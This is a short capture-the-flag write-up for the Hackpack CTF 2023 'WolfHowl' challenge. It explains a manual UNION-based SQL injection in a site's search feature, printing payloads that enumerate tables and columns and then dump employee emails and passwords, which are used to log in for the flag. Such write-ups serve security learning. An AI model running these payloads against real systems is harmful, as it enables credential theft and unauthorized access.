ctf-writeup/Hackpack CTF 2023/WolfHowl
Muhammad Daffa cb0ec86c46 feat: added hackpack 2023-04-18 19:58:38 +07:00
..
images feat: added hackpack 2023-04-18 19:58:38 +07:00
README.md feat: added hackpack 2023-04-18 19:58:38 +07:00

README.md

Wolfhowl

Log into WolfHowl to get the flag

About the Challenge

We are given a website and has multiple functionalities such as search feature, login and register user (But in this case, this feature has been disabled)

preview

How to Solve?

There is a SQL injection vulnerability in the search feature, but I couldn't use SQLMap to exploit it. Therefore, in this case, I resolved this challenge using a manual approach. First I find the table name first using this payload

" union select table_name,2,3,4 from information_schema.tables-- -

table

As you can see, there are many tables, but in this case, we will choose the employee table. Now, I would like to know the column names in the employee table

" union select concat(column_name),2,3,4 from information_schema.columns where table_name=0x656d706c6f796565-- -

column

Now, we need to extract the email and password columns, as we require the credentials to log in to the website.

" union select concat(email,password),2,3,4 from employee-- -

data

And then login using one of the credential that has been exposed using SQL injection payload to obtain the flag

flag

flag{art_decorates_space_but_music_decorates_time}